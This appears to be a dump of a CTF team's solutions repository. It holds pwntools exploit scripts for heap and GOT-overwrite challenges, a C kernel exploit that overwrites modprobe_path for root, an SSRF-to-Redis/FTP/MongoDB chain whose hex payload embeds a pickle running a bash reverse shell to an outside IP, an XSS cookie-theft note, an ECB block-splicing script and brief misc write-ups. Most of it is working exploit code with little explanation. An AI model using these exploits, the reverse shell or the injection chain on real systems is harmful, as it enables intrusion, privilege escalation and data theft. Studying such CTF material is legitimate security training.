pointers to point to strlen@GOT 77 | payload = p64(note_vtable) 78 | payload += p64(strlen_got) + p64(0x400)*3 79 | payload += p64(strlen_got) + p64(0x400)*3 80 | 81 | p.sendline(payload) 82 | 83 | # Viewing the note will print out strlen's libc address from strlen@GOT 84 | view_note() 85 | 86 | # Parse the leak 87 | for i in range(3): 88 | p.recvline() 89 | 90 | p.recvuntil("| ") 91 | 92 | leak = u64(p.recv(6).ljust(8, b"\x00")) 93 | libc.address = leak - 0x18b660 94 | 95 | log.info("Libc leak: " + hex(leak)) 96 | log.info("Libc base: " + hex(libc.address)) 97 | 98 | # Now since both the |name_| and |content_| fields point to strlen@GOT, we just 99 | # edit and set them both to system. This will basically free the old name and 100 | # content and put &system in both of them, and since both of them point to 101 | # strlen@GOT, it will overwrite strlen@GOT with system@LIBC 102 | edit_note(p64(libc.sym["system"]), p64(libc.sym["system"])) 103 | 104 | # Just trigger strlen("/bin/sh") to call system("/bin/sh") 105 | p.sendlineafter("> ", "2") 106 | p.sendlineafter("Name: \n", "/bin/sh") 107 | 108 | p.interactive() 109 | -------------------------------------------------------------------------------- /2021/union-ctf/pwn/notepad/flag.txt: -------------------------------------------------------------------------------- 1 | union{not_a_real_flag} 2 | -------------------------------------------------------------------------------- /2021/union-ctf/pwn/notepad/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2021/union-ctf/pwn/notepad/libc.so.6 -------------------------------------------------------------------------------- /2021/union-ctf/pwn/notepad/notepad: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2021/union-ctf/pwn/notepad/notepad -------------------------------------------------------------------------------- /2021/union-ctf/pwn/notepad/notepad.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "notepad.h" 7 | 8 | void printTopMenu() 9 | { 10 | std::cout << "1. Add note" << std::endl; 11 | std::cout << "2. Find existing note by name" << std::endl; 12 | std::cout << "3. Manage note" << std::endl; 13 | std::cout << "> "; 14 | } 15 | 16 | void printNoteMenu() 17 | { 18 | std::cout << "1. View note" << std::endl; 19 | std::cout << "2. Edit note" << std::endl; 20 | std::cout << "3. Lock note" << std::endl; 21 | std::cout << "4. Back" << std::endl; 22 | std::cout << "> "; 23 | } 24 | 25 | uint64_t readInt() 26 | { 27 | uint64_t val; 28 | char buf[32]; 29 | std::fgets(buf, sizeof(buf), stdin); 30 | return strtoul(buf, NULL, 10); 31 | } 32 | 33 | std::string readLine() 34 | { 35 | char buf[1024]; 36 | std::fgets(buf, sizeof(buf), stdin); 37 | size_t n = std::strlen(buf); 38 | if (n > 0 && buf[n-1] == '\n') { 39 | buf[n-1] = 0; 40 | } 41 | return std::string(buf, n); 42 | } 43 | 44 | void handleNote(Notepad& notepad) 45 | { 46 | while (true) { 47 | printNoteMenu(); 48 | unsigned long choice = readInt(); 49 | std::printf("Your choice: %lu\n", choice); 50 | switch (choice) { 51 | case 1: { 52 | notepad.printCurrentNote(); 53 | break; 54 | } 55 | case 2: { 56 | std::cout << "Name: " << std::endl; 57 | std::string name(readLine()); 58 | std::cout << "Content: " << std::endl; 59 | std::string content(readLine()); 60 | notepad.editNote(name, content); 61 | break; 62 | } 63 | case 3: { 64 | std::cout << "Key: " << std::endl; 65 | std::string key(readLine()); 66 | std::cout << "Key size: " << std::endl; 67 | size_t key_size = readInt(); 68 | notepad.lockCurrentNote(key, key_size); 69 | break; 70 | } 71 | case 4: { 72 | return; 73 | } 74 | } 75 | } 76 | } 77 | 78 | void setup() 79 | { 80 | std::setvbuf(stdin, NULL, _IONBF, 0); 81 | std::setvbuf(stdout, NULL, _IONBF, 0); 82 | std::setvbuf(stderr, NULL, _IONBF, 0); 83 | alarm(60); 84 | } 85 | 86 | int main() 87 | { 88 | setup(); 89 | Notepad notepad; 90 | std::cout << "Welcome to the world's most modern notepad." << std::endl; 91 | while (true) { 92 | printTopMenu(); 93 | auto choice = readInt(); 94 | switch (choice) { 95 | case 1: { 96 | std::cout << "Name: " << std::endl; 97 | std::string name(readLine()); 98 | std::cout << "Content: " << std::endl; 99 | std::string content(readLine()); 100 | notepad.createNote(name, content); 101 | break; 102 | } 103 | case 2: { 104 | std::cout << "Search term: " << std::endl; 105 | std::string search(readLine()); 106 | auto note = notepad.selectNoteByName(search); 107 | if (note == false) { 108 | std::cout << "Note not found" << std::endl; 109 | } 110 | else { 111 | std::cout << "Found note!" << std::endl; 112 | } 113 | break; 114 | } 115 | case 3: { 116 | handleNote(notepad); 117 | break; 118 | } 119 | } 120 | } 121 | } 122 | -------------------------------------------------------------------------------- /2021/union-ctf/pwn/notepad/notepad.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | class Note { 9 | public: 10 | Note(const std::string& name, const std::string& content) 11 | : name_(name), content_(content) {} 12 | 13 | virtual std::string& getName() { 14 | return name_; 15 | } 16 | 17 | virtual std::string& getContent() { 18 | return content_; 19 | } 20 | 21 | virtual void printContents() const { 22 | char buf[32]; 23 | char const* noteStart = " _______________________ \n" 24 | " =(__ ___ __ _)=\n"; 25 | char const* noteEnd = " =(_______________________)=\n"; 26 | char const* line = " | %-19s |\n"; 27 | 28 | std::string output(noteStart); 29 | for (size_t i = 0; i < content_.length(); i += 19) { 30 | std::memset(buf, 0, sizeof(buf)); 31 | auto part = content_.substr(i, 19); 32 | std::snprintf(buf, sizeof(buf), line, part.data()); 33 | output += std::string(buf); 34 | } 35 | output += noteEnd; 36 | std::cout << output << std::endl; 37 | } 38 | 39 | virtual void lockNote(const char *key, size_t key_size) { 40 | // Overwrite and discard 41 | auto key_index = 0; 42 | for (auto &c: content_) { 43 | c ^= *key; 44 | key_index = (key_index + 1) % key_size; 45 | } 46 | content_ = "=== LOCKED ==="; 47 | } 48 | 49 | void setName(const std::string& name) { 50 | name_ = name; 51 | } 52 | 53 | void setContent(const std::string& content) { 54 | content_ = content; 55 | } 56 | 57 | private: 58 | std::string name_; 59 | std::string content_; 60 | }; 61 | 62 | 63 | class Notepad { 64 | public: 65 | Notepad() { 66 | notes_.reserve(5); 67 | } 68 | 69 | void createNote(const std::string& name, const std::string& content) { 70 | notes_.emplace_back(name, content); 71 | } 72 | 73 | auto getNote(size_t idx) { 74 | return notes_.at(idx); 75 | } 76 | 77 | void editNote(const std::string& name, const std::string& content) { 78 | currentNote_->setName(name); 79 | currentNote_->setContent(content); 80 | } 81 | 82 | bool selectNoteByName(const std::string& search) { 83 | auto note = findNoteByName(search); 84 | if (note != nullptr) { 85 | currentNote_ = note; 86 | return true; 87 | } 88 | return false; 89 | } 90 | 91 | void printCurrentNote() const { 92 | currentNote_->printContents(); 93 | } 94 | 95 | void lockCurrentNote(std::string key, size_t key_size) { 96 | currentNote_->lockNote(key.c_str(), *(size_t *)key_size); 97 | } 98 | 99 | 100 | private: 101 | Note* findNoteByName(const std::string& search) { 102 | auto result = std::find_if( 103 | notes_.begin(), 104 | notes_.end(), 105 | [&](Note& note){ 106 | if (std::strstr(note.getName().data(), search.data())) { 107 | return true; 108 | } 109 | return false; 110 | } 111 | ); 112 | if (result != notes_.end()) { 113 | return &*result; 114 | } 115 | return nullptr; 116 | } 117 | 118 | std::vector notes_; 119 | Note* currentNote_; 120 | }; 121 | 122 | -------------------------------------------------------------------------------- /2021/union-ctf/pwn/notepad/notepad.xinetd: -------------------------------------------------------------------------------- 1 | service notepad 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | log_type = FILE /var/log/xinetdlog 8 | log_on_success = HOST PID EXIT DURATION 9 | log_on_failure = HOST 10 | user = notepad 11 | bind = 0.0.0.0 12 | server = /home/notepad/notepad 13 | type = UNLISTED 14 | port = 1337 15 | per_source = 2 16 | } 17 | -------------------------------------------------------------------------------- /2021/union-ctf/pwn/nutty/exploit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2021/union-ctf/pwn/nutty/exploit -------------------------------------------------------------------------------- /2021/union-ctf/pwn/nutty/exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | #define NUTTY_CREATE 0x13371 20 | #define NUTTY_DELETE 0x13372 21 | #define NUTTY_SHOW 0x13373 22 | #define NUTTY_APPEND 0x13374 23 | 24 | #define modprobe_path (0x64f00 + 0x3e7e40 + 0x1000000) 25 | #define ptm_unix98_ops (0x64f00 + 0x1000000 - 0x120) 26 | 27 | const char *dev_nutty = "/dev/nutty"; 28 | 29 | struct nutty { 30 | int idx; 31 | int size; 32 | char *contents; 33 | int content_length; 34 | char *show_buffer; 35 | }; 36 | 37 | int create(int fd, int size, char *msg, int msg_len) { 38 | struct nutty req; 39 | req.size = size; 40 | req.contents = msg; 41 | req.content_length = msg_len; 42 | return ioctl(fd, NUTTY_CREATE, &req); 43 | } 44 | 45 | int delete (int fd, int idx) { 46 | struct nutty req; 47 | req.idx = idx; 48 | return ioctl(fd, NUTTY_DELETE, &req); 49 | } 50 | 51 | int show(int fd, int idx, char *buf) { 52 | struct nutty req; 53 | req.idx = idx; 54 | req.show_buffer = buf; 55 | return ioctl(fd, NUTTY_SHOW, &req); 56 | } 57 | 58 | int append(int fd, int idx, int size, char *msg, int msg_len) { 59 | struct nutty req; 60 | req.idx = idx; 61 | req.size = size; 62 | req.contents = msg; 63 | req.content_length = msg_len; 64 | return ioctl(fd, NUTTY_APPEND, &req); 65 | } 66 | 67 | char *str_repeat(char a, size_t n) { 68 | char *s = malloc(n + 1); 69 | for (int i = 0; i < n; ++i) 70 | s[i] = a; 71 | s[n] = 0; 72 | return s; 73 | } 74 | 75 | void shell() { 76 | puts("[+] r00000t"); 77 | system("echo '#!/bin/sh' > /home/user/x; echo 'setsid cttyhack setuidgid 0 " 78 | "/bin/sh' >> /home/user/x"); 79 | system("chmod +x /home/user/x"); 80 | int ff = open("/home/user/ffff", O_WRONLY | O_CREAT); 81 | write(ff, "\xff\xff\xff\xff", 4); 82 | close(ff); 83 | system("chmod 777 /home/user/ffff; /home/user/ffff"); 84 | system("sh"); 85 | } 86 | 87 | int main(void) { 88 | int fd = open(dev_nutty, O_RDONLY); 89 | 90 | int tty_fds[0x1000]; 91 | 92 | for (int i = 0; i < 0x20; ++i) 93 | tty_fds[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY); 94 | for (int i = 0; i < 0x20; ++i) 95 | close(tty_fds[i]); 96 | 97 | create(fd, 0x3ff, "", 0); 98 | 99 | uint64_t *rbuf = malloc(0x400); 100 | memset(rbuf, 0, 0x400); 101 | 102 | show(fd, 0, (char *)rbuf); 103 | 104 | uint64_t chunk_addr = rbuf[0x38 / 8]; 105 | printf("[+] Address of allocated chunk: %p\n", (void *)chunk_addr); 106 | uint64_t ptmx_ops = rbuf[3]; 107 | printf("[+] ptmx_ops: %p\n", (void *)ptmx_ops); 108 | const uint64_t kbase = ptmx_ops - ptm_unix98_ops; 109 | printf("[+] Kernel base: %p\n", (void *)kbase); 110 | 111 | char *x = malloc(0x401); 112 | memset(x, 0x43, 0x401); 113 | uint64_t *fake = &x[1]; 114 | for (int i = 0; i < 0x80; ++i) 115 | tty_fds[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY); 116 | 117 | for (int i = 0x40; i < 0x80; ++i) 118 | close(tty_fds[i]); 119 | 120 | for (int i = 0; i < 128; ++i) 121 | fake[i] = chunk_addr - 0x38 + 0x400; 122 | 123 | append(fd, 0, 0x100000, x, 0x3ff); 124 | 125 | for (int j = 0; j < 1; ++j) { 126 | for (int i = 0; i < 9; ++i) 127 | create(fd, 0x2ff, 128 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 0x30); 129 | 130 | for (int i = 0; i < 9; ++i) 131 | append(fd, i + 1, 0x10000, x, 0x3ff); 132 | for (int i = 0; i < 9; ++i) 133 | delete (fd, i + 1); 134 | } 135 | 136 | for (int i = 0; i < 8; ++i) 137 | create(fd, 0x3ff, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 138 | 0x30); 139 | for (int i = 0; i < 3; ++i) 140 | append(fd, i + 1, 0x10000, x, 0x3ff); 141 | 142 | memcpy(fake, rbuf, 0x400); 143 | fake[0] = 0x100005401; 144 | fake[3] = chunk_addr - 0x38 + 0x400 + (8 * 0x10); 145 | fake[0x10 + 10] = kbase + 0xdc749; 146 | fake[0x10 + 11] = kbase + 0xdc749; 147 | fake[0x10 + 12] = kbase + 0xdc749; 148 | create(fd, 0x3ff, fake, 0x3ff); 149 | printf("%p\n", kbase + modprobe_path); 150 | 151 | for (int i = 0; i < 0x40; ++i) { 152 | ioctl(tty_fds[i], 0x6d6f682f, kbase + modprobe_path); 153 | ioctl(tty_fds[i], 0x73752f65, kbase + modprobe_path + 4); 154 | ioctl(tty_fds[i], 0x782f7265, kbase + modprobe_path + 8); 155 | ioctl(tty_fds[i], 0, kbase + modprobe_path + 12); 156 | } 157 | shell(); 158 | } 159 | -------------------------------------------------------------------------------- /2021/union-ctf/pwn/nutty/run.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import os 3 | #context.log_level = 'debug' 4 | r = remote('34.91.20.14', 1337) 5 | #r = remote('172.17.0.3', 1337) 6 | 7 | def exec_cmd(cmd): 8 | r.recvuntil("$ ") 9 | r.sendline(cmd) 10 | 11 | def upload(): 12 | p = log.progress("Upload") 13 | 14 | with open("exploit", "rb") as f: 15 | data = f.read() 16 | 17 | encoded = base64.b64encode(data).replace('\n','') 18 | 19 | for i in range(0, len(encoded), 500): 20 | p.status("%d / %d" % (i, len(encoded))) 21 | exec_cmd("echo \"%s\" >> benc" % (encoded[i:i+500])) 22 | 23 | exec_cmd("cat benc | base64 -d > bout") 24 | exec_cmd("chmod +x bout") 25 | 26 | p.success() 27 | 28 | r.send(os.popen(r.recvline().strip()).read().split(': ')[0]) 29 | exec_cmd('cd /home/user/') 30 | upload() 31 | 32 | r.interactive() 33 | -------------------------------------------------------------------------------- /2021/zer0pts/webs/README.md: -------------------------------------------------------------------------------- 1 | ## Simple blog 2 | 3 | 1. Disable trusted types with dom clobbering 4 | 2. Define callback with dom clobbering 5 | 3. Bypass length limit with `q:q.innerHTML=b.alt` 6 | 4. XSS and steal admin's cookies 7 | ``` 8 | web.ctf.zer0pts.com:8003/?theme=light"> 9 | ``` 10 | 11 | ## Kantan web 12 | 13 | `});(Date=_=>(Date+'')[34]+{/*` 14 | 15 | extract flag byte by byte 16 | -------------------------------------------------------------------------------- /2021/CTF-2021/misc/minegame.md: -------------------------------------------------------------------------------- 1 | ## Challenge Description 2 | 3 | `If you love reverse, you can try it, otherwise, you must finish it as quickly as possible.` 4 | 5 | [attachment](https://adworld.xctf.org.cn/media/uploads/task/f9fd04cdbed4469d856b92b9a648041a.zip) 6 | 7 | ## Solution 8 | 9 | After installing (required) MATLAB Runtime and running the executable, we are being presented with the Minesweeper game: 10 | 11 | ![](https://i.imgur.com/WIOyH07.png) 12 | 13 | Real challenge is to solve it in less than a minute. After a couple of tries, it was clear that this was an impossible task to do without any cheating. 14 | Thus, tried to utilize [Cheat Engine](https://www.cheatengine.org/) to "slow" it down, but failed. Nevertheless, an interesting thing happened during tests. 15 | After suspending the process at start and resuming it later on, program exited instantly. Thus, it came to mind that system time is being used to check whether the 16 | game should exit due to expiration period. So, final solution that worked was to suspend the game at start, turn back time to one hour before and actually solve the 17 | given minesweeper challenge without any time pressure. 18 | 19 | ## Flag 20 | 21 | `*CTF{Y0u_41e-gLeat_6Oy3!}` 22 | -------------------------------------------------------------------------------- /2021/CTF-2021/misc/puzzle.md: -------------------------------------------------------------------------------- 1 | ## Challenge Description 2 | 3 | `the flag format is flag{...}` 4 | 5 | ![](https://i.imgur.com/m5VSmBV.jpg) 6 | 7 | ## Solution 8 | 9 | By repeated usage of [Gaps](https://github.com/nemanja-m/gaps), we were able to get partial solves of the puzzle: 10 | 11 | ``` 12 | gaps --image=puzzle.png --generations=100 --population=600 13 | ``` 14 | 15 | After failing with different approaches to **finish** the puzzle, final solution involved copy-pasting of recognized flag parts (from partial solves) into the Googled 16 | original image which was used to write the flag to: 17 | 18 | ![](https://i.imgur.com/XUBK1O1.jpg) 19 | 20 | ## Flag 21 | 22 | `flag{you_can_never_finish_the}` 23 | -------------------------------------------------------------------------------- /2021/CTF-2021/pwn/babyheap/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | binary = ELF("./pwn") 4 | context.binary = binary 5 | libc = ELF('./libc.so.6') 6 | 7 | if True: 8 | io = remote ("52.152.231.198",8081) 9 | else: 10 | # context.log_level = "debug" 11 | # context.terminal = ['tmux', 'splitw', '-h'] 12 | io = binary.process() 13 | 14 | def add(idx,size): 15 | io.recvuntil(">> \n") 16 | io.sendline(str(1)) 17 | io.recvuntil("input index\n") 18 | io.sendline(str(idx)) 19 | io.recvuntil("input size\n") 20 | io.sendline(str(size)) 21 | def delete(idx): 22 | io.recvuntil(">> \n") 23 | io.sendline(str(2)) 24 | io.recvuntil("input index\n") 25 | io.sendline(str(idx)) 26 | def edit(idx,data): 27 | io.recvuntil(">> \n") 28 | io.sendline(str(3)) 29 | io.recvuntil("input index\n") 30 | io.sendline(str(idx)) 31 | io.recvuntil("input content\n") 32 | io.send(str(data)) 33 | def show(idx): 34 | io.recvuntil(">> \n") 35 | io.sendline(str(4)) 36 | io.recvuntil("input index\n") 37 | io.sendline(str(idx)) 38 | return io.recvline().strip() 39 | def addname(name): 40 | io.recvuntil(">> \n") 41 | io.sendline(str(5)) 42 | io.recvuntil("your name:\n") 43 | io.sendline(str(name)) 44 | def showname(): 45 | io.recvuntil(">> \n") 46 | io.sendline(str(6)) 47 | 48 | p = io 49 | for i in range(9): 50 | add(i, 0x28) 51 | 52 | for i in range(9): 53 | delete(i) 54 | 55 | leak = u64(show(1).ljust(8,'\x00')) 56 | print hex(leak) 57 | 58 | add(2, 0x40) 59 | addname('z') 60 | libc.address = (u64(show(7).ljust(8,'\x00')) - libc.symbols['__malloc_hook']) & 0xfffffffffffff000 61 | print hex(libc.address) 62 | for i in range(5): add(0, 0x28) 63 | delete(8) 64 | add(0, 0x58) 65 | edit(0, p64(0)*4+p64(0x31)+p64(libc.symbols['__free_hook']-0x8)) 66 | for i in range(2): add(1, 0x28) 67 | edit(1, p64(libc.symbols['system'])) 68 | edit(0, p64(0)*4+p64(0x31)+'/bin/sh\x00') 69 | delete(8) 70 | 71 | io.interactive() 72 | -------------------------------------------------------------------------------- /2021/CTF-2021/pwn/babyheap/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2021/CTF-2021/pwn/babyheap/libc.so.6 -------------------------------------------------------------------------------- /2021/CTF-2021/pwn/babyheap/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2021/CTF-2021/pwn/babyheap/pwn -------------------------------------------------------------------------------- /2021/CTF-2021/web/lottery-again.md: -------------------------------------------------------------------------------- 1 | ## Challenge Description 2 | 3 | Lottery come back again. Guessing is boring, so here is the code. 4 | 5 | http://52.149.144.45:8080 6 | 7 | 8 | ## Solution 9 | 10 | App uses AES-256 encryption in ECB mode. The following code show's attacking ECB mode encoded JSON. 11 | 12 | JSON USER-1 = 13 | ``` 14 | a1= {"lottery":"108abb0b-e3df-47e5-b 15 | a2= 7c6-b977470ec0bb","user":"d747f1 16 | a3= e9-55b9-4f95-a747-7cf16a9b6866", 17 | a4= "coin":"34"} 18 | ``` 19 | 20 | JSON User-2 = 21 | ``` 22 | b1={"lottery":"91ed6620-77d3-4f36-8 23 | b2=74d-9763f9e3bb63","user":"6af3b3 24 | b3=b7-3408-4f37-8869-318a55cca52a", 25 | b4="coin":"7"} 26 | ``` 27 | 28 | New Key = a1+a2+b2+b3+b4 29 | 30 | 31 | [solve.py](./solve.py) -------------------------------------------------------------------------------- /2021/CTF-2021/web/oh_my_bet.py: -------------------------------------------------------------------------------- 1 | import urllib.request 2 | import random 3 | import time 4 | import pickle 5 | import os 6 | import datetime 7 | import base64 8 | import threading 9 | import requests 10 | import re 11 | def queryq(q): 12 | s = requests.Session() 13 | r = random.randint(11000,50000) 14 | print("QUERY") 15 | s.post("http://23.98.68.11:8088/login",data={"username":f"testffqq{r}","password":f"testffffff2ffaaaaad{r}","avatar":q}) 16 | def g(): 17 | redis_do = f"""MIGRATE {ftp_addr} {ftp_port} "" 0 60000 KEYS injectlmao""" 18 | queryq(f"http://{redis_addr}:{redis_port}/?\r\n{redis_do}\r\n\r\nLOL") 19 | 20 | ftp_addr = "172.20.0.2" 21 | ftp_port = "8877" 22 | redis_addr = "172.20.0.4" 23 | redis_port = "6379" 24 | mongo_addr = "172,20,0,5,105,137" 25 | 26 | def tos(b): 27 | b = str(b)[12:] 28 | return b[0:-2].replace('"','\\x22') 29 | payload = "100100007348336600000000d40700000000000061646d696e2e24636d640000000000ffffffffe90000001069736d6173746572000100000003636c69656e7400bc00000003647269766572002b000000026e616d65000800000050794d6f6e676f000276657273696f6e0007000000332e31312e320000036f73005c000000027479706500060000004c696e757800026e616d6500060000004c696e7578000261726368697465637475726500070000007838365f3634000276657273696f6e0011000000352e342e302d34322d67656e65726963000002706c6174666f726d001600000043507974686f6e20332e382e352e66696e616c2e30000004636f6d7072657373696f6e000500000000006c01000051dcb07400000000dd07000000000000007f00000002757064617465000900000073657373696f6e7300086f7264657265640001036c736964001e0000000569640010000000046a9a9140c2d74f0f973abcc6218906a90002246462000600000061646d696e00032472656164507265666572656e63650017000000026d6f646500080000007072696d61727900000001d70000007570646174657300cb0000000371003a000000026964002d00000073657373696f6e3a39323261666563652d316466342d346337342d613138392d3361323637313031653064650000037500750000000324736574006a0000000576616c005b0000000080049550000000000000008c05706f736978948c0673797374656d9493948c3562617368202d63202262617368202d69203e26202f6465762f7463702f34352e37362e3138372e3139312f3133333720303e26312294859452942e0000086d756c7469000008757073657274000000" 30 | payload = bytearray.fromhex(payload).replace(b'bash -c "bash -i >& /dev/tcp/45.76.187.191/1337 0>&1"',b'//////////////////////////////////readflag > /tmp/aaa') 31 | payload = payload.replace(b"922afece-1df4-4c74-a189-3a267101e0de",b"29faa590-07ad-4a93-b81a-f44ffcd7870d") 32 | payload = [payload[i:i+50] for i in range(0, len(payload), 50)] 33 | 34 | redis_inj = f"""set "oh" "{tos(payload[0])}" """ 35 | queryq(f"http://{redis_addr}:{redis_port}/\r\n{redis_inj}\r\nLOL") 36 | 37 | payload = payload[1:] 38 | for i in payload: 39 | redis_inj = f"""append "oh" "{tos(i)}" """ 40 | print(redis_inj) 41 | queryq(f"http://{redis_addr}:{redis_port}/?\r\n{redis_inj}\r\n\r\nLOL") 42 | 43 | redis_do = f"""EVAL "redis.call('SET',redis.call('get','oh'),'')" 0 """ 44 | queryq(f"http://{redis_addr}:{redis_port}/?\r\n{redis_do}\r\n\r\nLOL") 45 | 46 | ############## 47 | ftp_cmd = """ 48 | USER fan 49 | PASS root 50 | PASV 51 | STOR files/test.txt 52 | """.replace("\n","\\r\\n") 53 | redis_do = f"""set injectlmao "{ftp_cmd}" """ 54 | queryq(f"http://{redis_addr}:{redis_port}/?\r\n{redis_do}\r\n\r\nLOL") 55 | x = threading.Thread(target=g, args=()) 56 | x.start() 57 | ################ 58 | time.sleep(1) 59 | for i in range(2000,2031): 60 | redis_do = f"""EVAL "redis.call('MIGRATE','{ftp_addr}',{i},'',0,5000,'KEYS',redis.call('get','oh'))" 0""" 61 | queryq(f"http://{redis_addr}:{redis_port}/?\r\n{redis_do}\r\n\r\nLOL") 62 | ############# Send to mongo 63 | ftp_cmd = """ 64 | USER fan 65 | PASS root 66 | PORT 127,0,0,1,4,0 67 | TYPE I 68 | REST 37 69 | RETR files/test.txt 70 | """.replace("\n","\\r\\n").replace("127,0,0,1,4,0",mongo_addr) 71 | redis_inj = f"""set injectlmao "{ftp_cmd}" """ 72 | redis_do = f"""MIGRATE {ftp_addr} {ftp_port} "" 0 5000 KEYS injectlmao""" 73 | queryq(f"http://{redis_addr}:{redis_port}/?\r\n{redis_inj}\r\n{redis_do}\r\nLOL") 74 | -------------------------------------------------------------------------------- /2021/CTF-2021/web/solve.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import json 3 | import random 4 | from base64 import b64decode as b_d 5 | from base64 import b64encode as b_e 6 | import string 7 | 8 | # url = "http://52.149.144.45:8080" 9 | url = "http://127.0.0.1:8081" 10 | 11 | def random_str(N): 12 | return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N)) 13 | 14 | 15 | def register_user(user, passw): 16 | 17 | """username=smug3&password=smug""" 18 | """POST /user/register HTTP/1.1""" 19 | 20 | res = requests.post(url + "/user/register", data={"username":user, "password":passw}) 21 | b = json.loads(res.text) 22 | return b 23 | 24 | 25 | def login(user, passw): 26 | """username=smug3&password=smug""" 27 | """POST /user/login HTTP/1.1""" 28 | 29 | res = requests.post(url + "/user/login", data={"username":user, "password":passw}) 30 | b = json.loads(res.text) 31 | return b 32 | 33 | 34 | def buy_lottery(api_token): 35 | """POST /lottery/buy HTTP/1.1""" 36 | """api_token=llTQDfxFggk7ESmUkWsfmoxMt7WWt3Xl""" 37 | 38 | res = requests.post(url + "/lottery/buy", data={"api_token":api_token}) 39 | b = json.loads(res.text) 40 | return b["enc"] 41 | 42 | def charge(userid, enc): 43 | """POST /lottery/charge HTTP/1.1""" 44 | """user=805abf15-6394-48f5-bcef-b864bcc3ed83&coin=63&enc=WygBlFNmrgHZhWBCO3KzjYLqxBSNPG17fhELNVKvthzReLw7WLZ1UhT%2BW2sCsI9TIaXIbvsuPqnuJ0Fs0vwYGG%2B2AwUQsLKqfJdgyFnqg7eJigLXjyBrnrI56NKlD3iaWCHxkEvg3avOdbBMvsoa90rUIuoWZxuGwSJ0pvmVkbU%3D""" 45 | 46 | res = requests.post(url + "/lottery/charge", data={"user":userid, "enc":enc}) 47 | return 48 | 49 | 50 | my_real_user_name = "smugomega" + random_str(4) 51 | my_real_user_pass = "smugomega" 52 | 53 | 54 | register_user(my_real_user_name, my_real_user_pass) 55 | real_user = login(my_real_user_name, my_real_user_pass) 56 | 57 | print (real_user) 58 | print (real_user['user']['api_token']) 59 | real_user_id = real_user['user']['uuid'] 60 | _decoded = b_d(buy_lottery(real_user['user']['api_token'])) 61 | _enc_1 = _decoded[0:32] 62 | _enc_2 = _decoded[32 : 32*2] 63 | _enc_3 = _decoded[32*2: 32*3] 64 | _enc_4 = _decoded[ 32*3 : 32*4] 65 | 66 | 67 | 68 | for i in range(100): 69 | new_user_name = "ristu"+random_str(5) 70 | register_user(new_user_name, "test") 71 | new_user = login(new_user_name, "test") 72 | new_user_token = new_user['user']['api_token'] 73 | 74 | for j in range(3): 75 | enc = buy_lottery(new_user_token) 76 | decoded = b_d(enc) 77 | 78 | enc_1 = decoded[0:32] 79 | enc_2 = decoded[32 : 32*2] 80 | enc_3 = decoded[32*2: 32*3] 81 | enc_4 = decoded[ 32*3 : 32*4] 82 | 83 | n_p = b_e(enc_1 + enc_2 + _enc_2 + _enc_3 + enc_4) 84 | charge(real_user_id, n_p) 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | -------------------------------------------------------------------------------- /2022/dicectf/x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2022/dicectf/x.png -------------------------------------------------------------------------------- /2022/justctf/Dank_Shark.md: -------------------------------------------------------------------------------- 1 | # Dank shank 2 | 3 | > Strong shark protection! 4 | > 5 | > Attachment: https://s3.cdn.justctf.team/bcbaa7ae-cc27-494f-8c65-6c1e22953e05/shark.zip 6 | 7 | ## Challenge 8 | 9 | The hard of this challenge is evaluating a long js payload ( for fetching the flag and stuff ) with only 64 bytes of html. 10 | Normally you would do `` but the xss bot doens't have access to internet. 11 | 12 | ## admin page 13 | 14 | ```html 15 | 16 | 17 | Dank Shark 18 | 19 | 20 |
21 | Last comment nickname:
Maybe loading...
22 |
23 | 24 | 43 | 44 | ``` 45 | 46 | xss bot automatically goes to this page. The response of `last_nickname` is controllable by us but there is a check on that endpoint 47 | that checks if the remote ip is not locahost. 48 | The first challenge is to bypass this mechanism 49 | ## First part - Cache poisoning 50 | 51 | There is a cache poisoning vulnerablity that is due to the misconfiguration of nginx. 52 | 53 | ``` 54 | proxy_cache_key "$language$request_uri"; 55 | ``` 56 | 57 | `$request_uri` is `request_path+request_querystring` and `$language` is the `Accept-language` header of the request. 58 | 59 | The requester ip address is not inside the cache key so we can use this vulnerablity to bypass the `last_nickname` endpoint protection. 60 | 61 | ## Second part - Weird http-js-challenge nginx module 62 | 63 | This bug was quite fun to spot and exploit. 64 | We actually found this bug by luck and somebody sent a POST request to somewhere and saw two responses in body. 65 | After looking into this behavior, We concluded that the module doesn't clean the request body from the request buffer and we can get http request splitting primitives with it. 66 | 67 | ``` 68 | GET / HTTP/1.1\r\n 69 | Host: example.org\r\n 70 | Content-Length: 30\r\n 71 | \r\n 72 | GET /hack HTTP/1.1\r\n 73 | example: 74 | ``` 75 | 76 | When the nginx module receives the above request, it doesn't read the body so the next request that it handles is the `GET /hack` request. 77 | The splitted request is not fully sent (The last two 